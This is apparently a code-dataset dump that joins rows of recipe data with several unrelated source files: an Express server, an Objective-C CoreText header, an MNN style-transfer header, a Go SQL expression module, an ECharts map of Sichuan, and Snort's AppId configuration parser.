('Japanese Style Beef Curry Toast Tapas', 'https://www.edamam.com/web-img/d29/d29e279f78f793edf0397098ffa0a7fb.jpg', 'Honest Cooking', 'http://honestcooking.com/japanese-style-beef-curry-toast/'),
('Caramelized Parmesan Brussels Sprouts', 'https://www.edamam.com/web-img/043/04305c042326657a5a9143c77050e26d.jpg', 'Food52', 'https://food52.com/recipes/1251-caramelized-parmesan-brussels-sprouts'),
('Beef Brisket', 'https://www.edamam.com/web-img/f1d/f1d50c3817e14cfcaf2ec11d4ee65d95.jpg', 'Simply Recipes', 'http://www.simplyrecipes.com/recipes/beef_brisket/'),
('Steamed Fish And Egg Rolls', 'https://www.edamam.com/web-img/029/029097a8f2518891169948caa6b2aaf6.jpg', 'Chubby Hubby', 'http://chubbyhubby.net/recipes/not-your-usual-egg-rolls/'),
('Spagetti Sauce with Meatballs', 'https://www.edamam.com/web-img/fb3/fb3e1f4709cf589859b3eb63e46a1748.jpg', 'BigOven', 'http://www.bigoven.com/recipe/Spagetti-Sauce-with-Meatballs/60831'),
('Island Mango Salad', 'https://www.edamam.com/web-img/373/37361d2ca2895394b4b4ad86ca69bd72.jpg', 'Comida Kraft', 'http://www.comidakraft.com/sp/recetas/ensalada-islena-de-mango-64123.aspx'),
('Lemony Zucchini Goat Cheese Pizza', 'https://www.edamam.com/web-img/a35/a359f8fa1791cbf609f935a906cc0e3a.jpg', 'Smitten Kitchen', 'https://smittenkitchen.com/2009/07/lemony-zucchini-goat-cheese-pizza/'),
('Grilled Steak', 'https://www.edamam.com/web-img/1ea/1ea2779bd0986b7765b561f896be3cc2.jpg', 'Epicurious', 'http://www.epicurious.com/recipes/food/views/Grilled-Steak-102080'),
('Minted English Pea Soup with Lobster and Orange', 'https://www.edamam.com/web-img/d9e/d9ee40a5cba63e3c00cce8280e08ca92.jpg', 'Martha Stewart', 'http://www.marthastewart.com/356649/minted-english-pea-soup-lobster-and-orange'),
('Coffee-Coconut Agar Dessert', 'https://www.edamam.com/web-img/20e/20e15348568a6d14bbceaa351aa871e2.jpg', 'Serious Eats', 'http://www.seriouseats.com/recipes/2012/08/coffee-coconut-agar-dessert.html'),
('Hoisin-Glazed Eggplant', 'https://www.edamam.com/web-img/6e1/6e1ac7de72e4a58ce81d39382e0a1dd3.jpg', 'Martha Stewart', 'http://www.marthastewart.com/317065/hoisin-glazed-eggplant'),
('Tangy Tomato Chutney', 'https://www.edamam.com/web-img/de4/de4b73f4145ca9fb3676f6bf906b7609.jpg', 'BBC Good Food', 'http://www.bbcgoodfood.com/recipes/1582/tangy-tomato-chutney-'),
('Pizza Bianca with Prosciutto, Arugula, and Parmesan', 'https://www.edamam.com/web-img/542/5423238ac31ce71820c6108cbc3cd54d.jpg', 'Bon Appetit', 'http://www.bonappetit.com/recipe/pizza-bianca-with-prosciutto-arugula-and-parmesan'),
('Triple-Pepper T-Bone Steaks', 'https://www.edamam.com/web-img/978/9786dfa24b198b2acc41ed7fcb5dd8e9.jpg', 'Bon Appetit', 'http://www.bonappetit.com/recipe/triple-pepper-t-bone-steaks'),
('Poached Egg On Potato Hash', 'https://www.edamam.com/web-img/d67/d676fa12e7ac2afd6530404b62aa550b.jpg', 'Tartelette', 'http://www.tarteletteblog.com/2013/05/gluten-free-recipe-jerusalem-artichoke.html'),
('Minced Beef Chappli Kebabs', 'https://www.edamam.com/web-img/ffd/ffd475a01b344b9a500af507f3f77c38.jpg', 'BBC', 'http://www.bbc.co.uk/food/recipes/mincedbeefchapplikeb_90228'),
('Fish Tacos', 'https://www.edamam.com/web-img/125/125615ded1b7371ad9504295abae3a68.jpg', 'Simply Recipes', 'http://www.simplyrecipes.com/recipes/fish_tacos/'),
('Grilled Whole Fish On Banana Leaf', 'https://www.edamam.com/web-img/00e/00e8a72b61b3ff5f1fb39d3581235673.jpg', 'Steamy Kitchen', 'http://steamykitchen.com/190-wholefishbanana.html'),
('Classic Baked Chicken', 'https://www.edamam.com/web-img/6fd/6fd818eb6587372f9c186518d42db8c7.jpg', 'Simply Recipes', 'http://www.simplyrecipes.com/recipes/classic_baked_chicken/'),
('Grilled Lemons, Baby Artichokes, and Eggplant', 'https://www.edamam.com/web-img/001/00127cd3e04a4b99d838f62a6755061c.jpg', 'Bon Appetit', 'http://www.bonappetit.com/recipe/grilled-lemons-baby-artichokes-and-eggplant'),
('Tomato Marmalade', 'https://www.edamam.com/web-img/ab1/ab1dbb063af01a88735e3348e80083ed.jpg', 'Martha Stewart', 'http://www.marthastewart.com/315286/tomato-marmalade'),
('Beef Goulash', 'https://www.edamam.com/web-img/229/2292adfebf71a994fc515cd5895012fe.jpg', 'Martha Stewart', 'http://www.marthastewart.com/350032/beef-goulash'),
('Egg Nests', 'https://www.edamam.com/web-img/af9/af9d579ef6c658ef398d2bc76690ce7e.jpg', 'Simply Recipes', 'http://www.simplyrecipes.com/recipes/egg_nests/'),
('Broiled Fillet Steak with Green Pepper and Brandy Sauce', 'https://www.edamam.com/web-img/638/638a988cd595e222bebed41f451cf9dc.jpg', 'Food52', 'https://food52.com/recipes/2048-broiled-fillet-steak-with-green-pepper-and-brandy-sauce'),
('Dessert Sushi', 'https://www.edamam.com/web-img/197/197734f47bc39408056a3e23c4a91073.jpg', 'Food52', 'https://food52.com/recipes/11405-dessert-sushi'),
('Grilled Eggplant Parmigiana', 'https://www.edamam.com/web-img/f6c/f6cde666e031591986942094060f8d5b.jpg', 'Epicurious', 'http://www.epicurious.com/recipes/food/views/Grilled-Eggplant-Parmigiana-238668'),
('Heirloom Tomato Salad with Bocconcini and Basil', 'https://www.edamam.com/web-img/460/460d8667f0adeffe3fd1b57739b860ee.jpg', 'Food and Style', 'http://foodandstyle.com/heirloom-tomato-salad-with-bocconcini-and-basil/'),
('Dessert Pancakes with Custard and Berries', 'https://www.edamam.com/web-img/73f/73f5d260147b5df4e4ecb8916caf670e.jpg', 'Epicurious', 'http://www.epicurious.com/recipes/food/views/Dessert-Pancakes-with-Custard-and-Berries-358551'),
('Perfect Grilled Fish Steaks', 'https://www.edamam.com/web-img/9be/9be37985e53b2158a974437a959a9e2d.jpg', 'NY Magazine', 'http://nymag.com/restaurants/articles/recipes/fishsteak.htm'),
('Roasted Vegetable and Prosciutto Lasagna with Alfredo Sauce', 'https://www.edamam.com/web-img/41f/41f0df79b53d2b28c74bd742a9dbcf10.jpg', 'Epicurious', 'http://www.epicurious.com/recipes/food/views/Roasted-Vegetable-and-Prosciutto-Lasagna-with-Alfredo-Sauce-104591'),
('Shish Kebab', 'https://www.edamam.com/web-img/b8e/b8e2162316b3ee442b4cefd5339ceac4.jpg', 'Saveur', 'http://www.saveur.com/article/Recipes/Shish-Kebab'),
('Chorizo and Roasted Pepper Pizza', 'https://www.edamam.com/web-img/94e/94e45126f8b58ffcfd8188bfd7b3e642.jpg', 'Real Simple', 'http://www.realsimple.com/food-recipes/browse-all-recipes/chorizo-roasted-pepper-pizza'),
('Stewed Beef Neck Tacos', 'https://www.edamam.com/web-img/076/07637ea2e5331eac05e16ae5ae122db9.jpg', 'Serious Eats', 'http://www.seriouseats.com/recipes/2011/08/stewed-beef-neck-tacos-recipe.html'),
('Fresh Pear and Almond Dessert Pizza', 'https://www.edamam.com/web-img/916/916ae09b4ddcff86b93a484aa64a3974.jpg', 'San Francisco Gate', 'http://www.sfgate.com/food/recipes/detail/?rid=16151&sorig=qs'),
('Marinated Eggplant With Capers And Mint', 'https://www.edamam.com/web-img/1fe/1fe26c96f8ad7eef400a3d3bc9561643.jpg', 'Smitten Kitchen', 'https://smittenkitchen.com/2008/08/marinated-eggplant-with-capers-and-mint/'),
('Vegetable Lasagna', 'https://www.edamam.com/web-img/b63/b6365c6139c7be4c208f78e05cf58802.jpg', 'Self', 'http://www.self.com/food/recipes/2005/09/vegetable-lasagna'),
('Fish with Mango Relish', 'https://www.edamam.com/web-img/126/1264f82898cec0b745be060654425945.jpg', 'Martha Stewart', 'http://www.marthastewart.com/340934/fish-with-mango-relish'),
('Super-Simple Apple-Cinnamon Dessert Crepes', 'https://www.edamam.com/web-img/06e/06e734307dfb0264dfc9477edf42dd07.jpg', 'Cooking Channel', 'http://www.cookingchanneltv.com/recipes/lisa-lillien/super-simple-apple-cinnamon-dessert-crepes.html');
| 142.736842 | 268 | 0.758942 |
4a3b2c3d7396f76d4f6f620598b19b7f97c8f4f0
| 414 |
js
|
JavaScript
|
_/Chapter05/graphs/friend-recommendor/index.js
|
paullewallencom/javascript-978-1-7883-9855-8
|
2171436f77982e29e06bc2da7ecb65627443ae3c
|
[
"Apache-2.0"
] | 40 |
2018-01-29T10:17:28.000Z
|
2021-11-08T13:13:11.000Z
|
_/Chapter05/graphs/friend-recommendor/index.js
|
paullewallencom/javascript-978-1-7883-9855-8
|
2171436f77982e29e06bc2da7ecb65627443ae3c
|
[
"Apache-2.0"
] | 5 |
2018-06-03T10:44:56.000Z
|
2022-03-02T03:35:12.000Z
|
_/Chapter05/graphs/friend-recommendor/index.js
|
paullewallencom/javascript-978-1-7883-9855-8
|
2171436f77982e29e06bc2da7ecb65627443ae3c
|
[
"Apache-2.0"
] | 23 |
2018-01-31T08:44:38.000Z
|
2021-08-19T06:34:52.000Z
|
var express = require('express');
var app = express();
var bodyParser = require('body-parser');
// suggestion endpoints
var suggestions = require('./routes/suggestions');
// middleware to parse the body of input requests
app.use(bodyParser.json());
// route middleware
app.use('/suggestions', suggestions);
// start server
app.listen(3000, function () {
console.log('Application listening on port 3000!');
});
| 24.352941 | 52 | 0.719807 |
b1abd9f0c59ef25b8c985a4499fd876a68488e5a
| 2,114 |
h
|
C
|
KCCKit/KCCKit/KCTextRubyAnnotation.h
|
wkrelease/KCCKit
|
937844ca5c4988be39e642f696688cba2ea4e539
|
[
"MIT"
] | null | null | null |
KCCKit/KCCKit/KCTextRubyAnnotation.h
|
wkrelease/KCCKit
|
937844ca5c4988be39e642f696688cba2ea4e539
|
[
"MIT"
] | null | null | null |
KCCKit/KCCKit/KCTextRubyAnnotation.h
|
wkrelease/KCCKit
|
937844ca5c4988be39e642f696688cba2ea4e539
|
[
"MIT"
] | null | null | null |
//
// KCTextRubyAnnotation.h
// Jade
//
// Created by king on 16/6/7.
// Copyright © 2016年 KC. All rights reserved.
//
#import <Foundation/Foundation.h>
#import <CoreText/CoreText.h>
/**
Wrapper for CTRubyAnnotationRef.
Example:
KCTextRubyAnnotation *ruby = [KCTextRubyAnnotation new];
ruby.textBefore = @"zhù yīn";
CTRubyAnnotationRef ctRuby = ruby.CTRubyAnnotation;
if (ctRuby) {
/// add to attributed string
CFRelease(ctRuby);
}
*/
@interface KCTextRubyAnnotation : NSObject <NSCopying, NSCoding>
/// Specifies how the ruby text and the base text should be aligned relative to each other.
@property (nonatomic, assign) CTRubyAlignment alignment;
/// Specifies how the ruby text can overhang adjacent characters.
@property (nonatomic, assign) CTRubyOverhang overhang;
/// Specifies the size of the annotation text as a percent of the size of the base text.
@property (nonatomic, assign) CGFloat sizeFactor;
/// The ruby text is positioned before the base text;
/// i.e. above horizontal text and to the right of vertical text.
@property (nonatomic, copy) NSString *textBefore;
/// The ruby text is positioned after the base text;
/// i.e. below horizontal text and to the left of vertical text.
@property (nonatomic, copy) NSString *textAfter;
/// The ruby text is positioned to the right of the base text whether it is horizontal or vertical.
/// This is the way that Bopomofo annotations are attached to Chinese text in Taiwan.
@property (nonatomic, copy) NSString *textInterCharacter;
/// The ruby text follows the base text with no special styling.
@property (nonatomic, copy) NSString *textInline;
/**
Create a ruby object from CTRuby object.
@param ctRuby A CTRuby object.
@return A ruby object, or nil when an error occurs.
*/
+ (instancetype)rubyWithCTRubyRef:(CTRubyAnnotationRef)ctRuby NS_AVAILABLE_IOS(8_0);
/**
Create a CTRuby object from the instance.
@return A new CTRuby object, or NULL when an error occurs.
The returned value should be release after used.
*/
- (CTRubyAnnotationRef)CTRubyAnnotation CF_RETURNS_RETAINED NS_AVAILABLE_IOS(8_0);
@end
| 29.774648 | 99 | 0.751656 |
16ba187856a47b09a8c19387a9d33898c6233202
| 822 |
h
|
C
|
lite/mnn/cv/mnn_fast_style_transfer.h
|
IgiArdiyanto/litehub
|
54a43690d80e57f16bea1efc698e7d30f06b9d4f
|
[
"MIT"
] | null | null | null |
lite/mnn/cv/mnn_fast_style_transfer.h
|
IgiArdiyanto/litehub
|
54a43690d80e57f16bea1efc698e7d30f06b9d4f
|
[
"MIT"
] | null | null | null |
lite/mnn/cv/mnn_fast_style_transfer.h
|
IgiArdiyanto/litehub
|
54a43690d80e57f16bea1efc698e7d30f06b9d4f
|
[
"MIT"
] | null | null | null |
//
// Created by DefTruth on 2021/11/29.
//
#ifndef LITE_AI_TOOLKIT_MNN_CV_MNN_FAST_STYLE_TRANSFER_H
#define LITE_AI_TOOLKIT_MNN_CV_MNN_FAST_STYLE_TRANSFER_H
#include "lite/mnn/core/mnn_core.h"
namespace mnncv
{
class LITE_EXPORTS MNNFastStyleTransfer : public BasicMNNHandler
{
public:
explicit MNNFastStyleTransfer(const std::string &_mnn_path, unsigned int _num_threads = 1); //
~MNNFastStyleTransfer() override = default;
private:
const float mean_vals[3] = {0.f, 0.f, 0.f};
const float norm_vals[3] = {1.f, 1.f, 1.f};
private:
void initialize_pretreat(); //
void transform(const cv::Mat &mat) override; // resize & normalize.
public:
void detect(const cv::Mat &mat, types::StyleContent &style_content);
};
}
#endif //LITE_AI_TOOLKIT_MNN_CV_MNN_FAST_STYLE_TRANSFER_H
| 24.176471 | 98 | 0.729927 |
705d2b76e161df34364a18a8129a8786601cf7f1
| 796 |
go
|
Go
|
sql/expression/common.go
|
sqle/sqle
|
ff31d6d3d0f9aacc9336c2f6aba2e64299d97e52
|
[
"MIT"
] | 17 |
2017-02-26T18:55:31.000Z
|
2020-09-02T19:37:43.000Z
|
sql/expression/common.go
|
sqle/sqle
|
ff31d6d3d0f9aacc9336c2f6aba2e64299d97e52
|
[
"MIT"
] | 20 |
2017-02-24T11:48:48.000Z
|
2018-02-06T15:08:26.000Z
|
sql/expression/common.go
|
sqle/sqle
|
ff31d6d3d0f9aacc9336c2f6aba2e64299d97e52
|
[
"MIT"
] | 7 |
2017-02-24T10:54:08.000Z
|
2018-09-08T04:09:41.000Z
|
package expression
import "gopkg.in/sqle/sqle.v0/sql"
type UnaryExpression struct {
Child sql.Expression
}
func (p UnaryExpression) Resolved() bool {
return p.Child.Resolved()
}
func (p UnaryExpression) IsNullable() bool {
return p.Child.IsNullable()
}
type BinaryExpression struct {
Left sql.Expression
Right sql.Expression
}
func (p BinaryExpression) Resolved() bool {
return p.Left.Resolved() && p.Right.Resolved()
}
func (p BinaryExpression) IsNullable() bool {
return p.Left.IsNullable() || p.Right.IsNullable()
}
var defaultFunctions = map[string]interface{}{
"count": NewCount,
"first": NewFirst,
}
func RegisterDefaults(c *sql.Catalog) error {
for k, v := range defaultFunctions {
if err := c.RegisterFunction(k, v); err != nil {
return err
}
}
return nil
}
| 18.090909 | 51 | 0.711055 |
1fa9dcc124a73c2f1deeda2bce542873f280402f
| 3,519 |
html
|
HTML
|
CommonHtml/echarts/sichuang.html
|
doublEeVil/CommonCoding
|
9ce87b614630e4adf36944f159f64f5f65fa46f2
|
[
"MIT"
] | null | null | null |
CommonHtml/echarts/sichuang.html
|
doublEeVil/CommonCoding
|
9ce87b614630e4adf36944f159f64f5f65fa46f2
|
[
"MIT"
] | 12 |
2020-03-04T22:44:19.000Z
|
2021-12-14T21:24:15.000Z
|
CommonHtml/echarts/sichuang.html
|
doublEeVil/CommonCoding
|
9ce87b614630e4adf36944f159f64f5f65fa46f2
|
[
"MIT"
] | null | null | null |
<html>
<head>
<title>中国地图数据</title>
<meta charset="utf-8">
<!-- <script src="js/jquery.min.js"></script> -->
<script src="js/echarts.min.js"></script>
<script src="js/province/sichuan.js"></script>
<style>#main {width:1000px; height: 1000px;margin: auto;}</style>
</head>
<body>
<div id="main"></div>
<script>
var option = {
title: {
text: '四川省区域注册人数统计',
//subtext: '-。-' //子标题
},
tooltip: {
trigger: 'item',
// formatter: function(a){//鼠标移到某个州市上弹出的提示内容。包括显示样式可以自定义,利用return返回样式即可。
// return a[1]+":"+a[2];//a[1]:州市名称,a[2]:data中的valuez值。
// }
},
legend: {
orient: 'vertical',
x: 'right',
data: ['数据名称']
},
dataRange: {
min: 0,
max: 1000,
color: ['orange', '#6EA1F4'],
//color: ['orange', 'blue'],
boder: 3,
text: ['高', '低'], // 文本,默认为数值文本
calculable: true
},
series: [
{
//name: '数据名称',
type: 'map',
mapType: '四川',//如果是其他省份,也可以改变,例如:上海,北京,天津等地。
selectedMode: 'single',
itemStyle: {
normal: {
label: { show: true },
borderWidth: 2,//省份的边框宽度
childBorderWidth: 1,
childBorderColor: '#6EA1F4'
},
emphasis: { label: { show: true } }
},
data: [
{ name: '阿坝藏族羌族自治州', value: 0 },
{ name: '巴中市', value: 0 },
{ name: '成都市', value: 0 },
{ name: '达州市', value: 0 },
{ name: '德阳市', value: 0 },
{ name: '甘孜藏族自治州', value: 0 },
{ name: '广安市', value: 0 },
{ name: '广元市', value: 0 },
{ name: '乐山市', value: 0 },
{ name: '凉山彝族自治州', value: 0 },
{ name: '泸州市', value: 0 },
{ name: '眉山市', value: 0 },
{ name: '绵阳市', value: 0 },
{ name: '内江市', value: 0 },
{ name: '南充市', value: 0 },
{ name: '攀枝花市', value: 0 },
{ name: '遂宁市', value: 0 },
{ name: '雅安市', value: 0 },
{ name: '宜宾市', value: 0 },
{ name: '资阳市', value: 0 },
{ name: '自贡市', value: 0 }
]
}
]
};
//初始化echarts实例
var myChart = echarts.init(document.getElementById('main'));
//使用制定的配置项和数据显示图表
myChart.setOption(option);
</script>
</body>
</html>
| 39.1 | 92 | 0.29838 |
c47ed753796f19d9e4662ed8af0dcf7e43f40b88
| 12,773 |
c
|
C
|
Benchmarks_with_Safety_Bugs/C/snort-2.9.13/src/src/dynamic-preprocessors/appid/appIdConfig.c
|
kupl/starlab-benchmarks
|
1efc9efffad1b797f6a795da7e032041e230d900
|
[
"MIT"
] | null | null | null |
Benchmarks_with_Safety_Bugs/C/snort-2.9.13/src/src/dynamic-preprocessors/appid/appIdConfig.c
|
kupl/starlab-benchmarks
|
1efc9efffad1b797f6a795da7e032041e230d900
|
[
"MIT"
] | null | null | null |
Benchmarks_with_Safety_Bugs/C/snort-2.9.13/src/src/dynamic-preprocessors/appid/appIdConfig.c
|
kupl/starlab-benchmarks
|
1efc9efffad1b797f6a795da7e032041e230d900
|
[
"MIT"
] | 2 |
2020-11-26T13:27:14.000Z
|
2022-03-20T02:12:55.000Z
|
/*
** Copyright (C) 2014-2019 Cisco and/or its affiliates. All rights reserved.
** Copyright (C) 2005-2013 Sourcefire, Inc.
**
** This program is free software; you can redistribute it and/or modify
** it under the terms of the GNU General Public License Version 2 as
** published by the Free Software Foundation. You may not use, modify or
** distribute this program under any other version of the GNU General
** Public License.
**
** This program is distributed in the hope that it will be useful,
** but WITHOUT ANY WARRANTY; without even the implied warranty of
** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
** GNU General Public License for more details.
**
** You should have received a copy of the GNU General Public License
** along with this program; if not, write to the Free Software
** Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
#include <stdint.h>
#include <stdbool.h>
#include <strings.h>
#include <stdio.h>
#include <syslog.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
#include <inttypes.h>
#include "sf_dynamic_preprocessor.h"
#include "appIdConfig.h"
#include "common_util.h"
#ifdef SIDE_CHANNEL
#include "appId_ss.h"
#endif
#define APP_ID_MEMCAP_DEFAULT (256*1024*1024ULL)
#define APP_ID_MEMCAP_UPPER_BOUND (3*1024*1024*1024ULL)
#define APP_ID_MEMCAP_LOWER_BOUND (32*1024*1024ULL)
#define APP_ID_MEMCAP_ABSOLUTE_LOWER_BOUND (1*1024*1024UL + 16UL)
#define DEFAULT_APPID_DETECTOR_PATH "/usr/local/etc/appid"
static void appIdConfigDump(tAppidStaticConfig* appidSC)
{
_dpd.logMsg("AppId Configuration\n");
_dpd.logMsg(" Detector Path: %s\n", appidSC->app_id_detector_path ? appidSC->app_id_detector_path : "NULL");
_dpd.logMsg(" appStats Files: %s\n", appidSC->app_stats_filename ? appidSC->app_stats_filename : "NULL");
_dpd.logMsg(" appStats Period: %d secs\n", appidSC->app_stats_period);
_dpd.logMsg(" appStats Rollover Size: %d bytes\n", appidSC->app_stats_rollover_size);
_dpd.logMsg(" appStats Rollover time: %d secs\n", appidSC->app_stats_rollover_time);
#ifdef SIDE_CHANNEL
AppIdPrintSSConfig(appidSC->appId_ss_config);
#endif
#ifdef REG_TEST
_dpd.logMsg(" AppID Reg Test Mode: %s\n", appidSC->appid_reg_test_mode ? "true" : "false");
#endif
_dpd.logMsg("\n");
}
void appIdConfigParse(tAppidStaticConfig* appidSC, char *args)
{
char **toks;
int num_toks;
int i;
char **stoks;
int s_toks;
char *endPtr;
memset (appidSC, 0, sizeof(*appidSC));
#ifdef SIDE_CHANNEL
if (NULL == (appidSC->appId_ss_config = (AppIdSSConfig *)calloc(1, sizeof(AppIdSSConfig))))
{
_dpd.fatalMsg("Appid failed to allocate memory for state sharing configuration\n");
}
if (_dpd.isSCEnabled())
{
appidSC->appId_ss_config->use_side_channel = true;
}
#endif
if ((args == NULL) || (strlen(args) == 0))
return;
toks = _dpd.tokenSplit(args, ",", 0, &num_toks, 0);
i = 0;
for (i = 0; i < num_toks; i++)
{
stoks = _dpd.tokenSplit(toks[i], " ", 2, &s_toks, 0);
if (s_toks == 0)
{
_dpd.fatalMsg("%s(%d) => %s\n", *(_dpd.config_file), *(_dpd.config_line), "Missing AppId configuration");
}
if(!strcasecmp(stoks[0], "conf"))
{
if ((s_toks != 2) || !*stoks[1])
{
_dpd.fatalMsg("%s(%d) => %s\n", *(_dpd.config_file), *(_dpd.config_line), "Invalid rna_conf");
}
if (NULL == (appidSC->conf_file = strdup(stoks[1])))
{
_dpd.fatalMsg("Appid failed to allocate configuration file name\n");
}
}
else if(!strcasecmp(stoks[0], "debug"))
{
if (s_toks != 2)
{
_dpd.fatalMsg("%s(%d) => %s\n", *(_dpd.config_file), *(_dpd.config_line), "Invalid debug");
}
if (!strcasecmp(stoks[1], "yes"))
appidSC->app_id_debug = 1;
}
else if(!strcasecmp(stoks[0], "dump_ports"))
{
if (s_toks > 1)
{
_dpd.fatalMsg("%s(%d) => %s\n", *(_dpd.config_file), *(_dpd.config_line), "Invalid dump ports specified");
}
appidSC->app_id_dump_ports = 1;
}
else if(!strcasecmp(stoks[0], "memcap"))
{
if (s_toks != 2)
{
_dpd.fatalMsg("%s(%d) => %s\n", *(_dpd.config_file), *(_dpd.config_line), "Invalid memcap");
}
appidSC->memcap = strtoul(stoks[1], &endPtr, 10);
if (!*stoks[1] || *endPtr)
{
_dpd.fatalMsg("%s(%d) => %s\n", *(_dpd.config_file), *(_dpd.config_line), "Invalid memcap");
}
if (appidSC->memcap == 0)
appidSC->memcap = APP_ID_MEMCAP_LOWER_BOUND;
if (appidSC->memcap > APP_ID_MEMCAP_UPPER_BOUND)
appidSC->memcap = APP_ID_MEMCAP_UPPER_BOUND;
if (APP_ID_MEMCAP_ABSOLUTE_LOWER_BOUND > appidSC->memcap)
{
_dpd.errMsg("AppId invalid memory cap, %lu, overridden with %lu",
appidSC->memcap, APP_ID_MEMCAP_ABSOLUTE_LOWER_BOUND);
appidSC->memcap = APP_ID_MEMCAP_ABSOLUTE_LOWER_BOUND;
}
}
else if(!strcasecmp(stoks[0], "app_stats_filename"))
{
if ((s_toks != 2) || !*stoks[1])
{
_dpd.fatalMsg("%s(%d) => %s\n", *(_dpd.config_file), *(_dpd.config_line), "Invalid stats_filename");
}
if (NULL == (appidSC->app_stats_filename = strdup(stoks[1])))
{
_dpd.fatalMsg("Appid failed to allocate stats file name\n");
}
}
else if(!strcasecmp(stoks[0], "app_stats_period"))
{
if (s_toks != 2)
{
_dpd.fatalMsg("%s(%d) => %s\n", *(_dpd.config_file), *(_dpd.config_line), "Invalid app_stats_period");
}
appidSC->app_stats_period = strtoul(stoks[1], &endPtr, 10);
if (!*stoks[1] || *endPtr)
{
_dpd.fatalMsg("%s(%d) => %s\n", *(_dpd.config_file), *(_dpd.config_line), "Invalid app_stats_period");
}
}
else if(!strcasecmp(stoks[0], "app_stats_rollover_size"))
{
if (s_toks != 2)
{
_dpd.fatalMsg("%s(%d) => %s\n", *(_dpd.config_file), *(_dpd.config_line), "Invalid app_stats_rollover_size");
}
appidSC->app_stats_rollover_size = strtoul(stoks[1], &endPtr, 10);
if (!*stoks[1] || *endPtr)
{
_dpd.fatalMsg("%s(%d) => %s\n", *(_dpd.config_file), *(_dpd.config_line), "Invalid app_stats_rollover_size");
}
}
else if(!strcasecmp(stoks[0], "app_stats_rollover_time"))
{
if (s_toks != 2)
{
_dpd.fatalMsg("%s(%d) => %s\n", *(_dpd.config_file), *(_dpd.config_line), "Invalid app_stats_rollover_time");
}
appidSC->app_stats_rollover_time = strtoul(stoks[1], &endPtr, 10);
if (!*stoks[1] || *endPtr)
{
_dpd.fatalMsg("%s(%d) => %s\n", *(_dpd.config_file), *(_dpd.config_line), "Invalid app_stats_rollover_time");
}
}
else if(!strcasecmp(stoks[0], "app_detector_dir"))
{
if ((s_toks != 2) || !*stoks[1])
{
_dpd.fatalMsg("%s(%d) => %s\n", *(_dpd.config_file), *(_dpd.config_line), "Invalid app_detector_dir");
}
if (NULL == (appidSC->app_id_detector_path = strdup(stoks[1])))
{
_dpd.fatalMsg("Appid failed to allocate detector path\n");
}
}
else if(!strcasecmp(stoks[0], "instance_id"))
{
if (s_toks != 2)
{
_dpd.fatalMsg("%s(%d) => %s\n", *(_dpd.config_file), *(_dpd.config_line), "Invalid instance id");
}
appidSC->instance_id = strtoul(stoks[1], &endPtr, 10);
if (!*stoks[1] || *endPtr)
{
_dpd.fatalMsg("Invalid instance id specified");
}
}
else if(!strcasecmp(stoks[0], "thirdparty_appid_dir"))
{
if (appidSC->appid_thirdparty_dir)
{
free((void *)appidSC->appid_thirdparty_dir);
appidSC->appid_thirdparty_dir = NULL;
}
if (s_toks != 2)
{
_dpd.fatalMsg("%s(%d) => %s\n", *(_dpd.config_file), *(_dpd.config_line), "Invalid ThirdpartyDirectory");
}
if (!(appidSC->appid_thirdparty_dir = strdup(stoks[1])))
{
_dpd.errMsg("Failed to allocate a module directory");
return;
}
}
#ifdef REG_TEST
#ifdef SIDE_CHANNEL
else if(!strcasecmp(stoks[0], "ss_startup_input_file"))
{
if ((s_toks != 2) || !*stoks[1])
{
_dpd.fatalMsg("%s(%d) => %s\n", *(_dpd.config_file), *(_dpd.config_line), "Invalid AppId state sharing startup input file");
}
if (NULL == (appidSC->appId_ss_config->startup_input_file = strdup(stoks[1])))
{
_dpd.fatalMsg("Appid failed to allocate memory for state sharing startup input file\n");
}
}
else if(!strcasecmp(stoks[0], "ss_runtime_output_file"))
{
if ((s_toks != 2) || !*stoks[1])
{
_dpd.fatalMsg("%s(%d) => %s\n", *(_dpd.config_file), *(_dpd.config_line), "Invalid AppId state sharing runtime output file");
}
if (NULL == (appidSC->appId_ss_config->runtime_output_file = strdup(stoks[1])))
{
_dpd.fatalMsg("Appid failed to allocate memory for state sharing runtime output file\n");
}
}
#endif
else if(!strcasecmp(stoks[0], "appid_reg_test_mode"))
{
appidSC->appid_reg_test_mode = true;
}
#endif
else
{
DynamicPreprocessorFatalMessage("%s(%d) => Unknown AppId configuration option \"%s\"\n",
*(_dpd.config_file), *(_dpd.config_line), toks[i]);
}
_dpd.tokenFree(&stoks, s_toks);
}
if (!appidSC->memcap)
appidSC->memcap = APP_ID_MEMCAP_DEFAULT;
if (!appidSC->app_stats_period)
appidSC->app_stats_period = 5*60;
if (!appidSC->app_stats_rollover_size)
appidSC->app_stats_rollover_size = 20 * 1024 * 1024;
if (!appidSC->app_stats_rollover_time)
appidSC->app_stats_rollover_time = 24*60*60;
if (!appidSC->app_id_detector_path)
{
if (NULL == (appidSC->app_id_detector_path = strdup(DEFAULT_APPID_DETECTOR_PATH)))
{
_dpd.fatalMsg("Appid failed to allocate detector path\n");
}
}
_dpd.tokenFree(&toks, num_toks);
appIdConfigDump(appidSC);
}
void AppIdAddGenericConfigItem(tAppIdConfig *pConfig, const char *name, void *pData)
{
tAppidGenericConfigItem *pConfigItem;
if (!(pConfigItem = malloc(sizeof(*pConfigItem))) ||
!(pConfigItem->name = strdup(name)))
{
if (pConfigItem)
free(pConfigItem);
_dpd.errMsg("Failed to allocate a config item.");
return;
}
pConfigItem->pData = pData;
sflist_add_tail(&pConfig->genericConfigList, pConfigItem);
}
void *AppIdFindGenericConfigItem(const tAppIdConfig *pConfig, const char *name)
{
tAppidGenericConfigItem *pConfigItem;
// Search a module's configuration by its name
for (pConfigItem = (tAppidGenericConfigItem *) sflist_first((SF_LIST*)&pConfig->genericConfigList);
pConfigItem;
pConfigItem = (tAppidGenericConfigItem *) sflist_next((SF_LIST*)&pConfig->genericConfigList))
{
if (strcmp(pConfigItem->name, name) == 0)
{
return pConfigItem->pData;
}
}
return NULL;
}
void AppIdRemoveGenericConfigItem(tAppIdConfig *pConfig, const char *name)
{
SF_LNODE *pNode;
// Search a module's configuration by its name
for (pNode = sflist_first_node(&pConfig->genericConfigList);
pNode;
pNode = sflist_next_node(&pConfig->genericConfigList))
{
tAppidGenericConfigItem *pConfigItem = SFLIST_NODE_TO_DATA(pNode);
if (strcmp(pConfigItem->name, name) == 0)
{
free(pConfigItem->name);
free(pConfigItem);
sflist_remove_node(&pConfig->genericConfigList, pNode);
break;
}
}
}
| 34.803815 | 141 | 0.566194 |
0ba27d8da21a6613856435994bf7bf899fa3ad7e
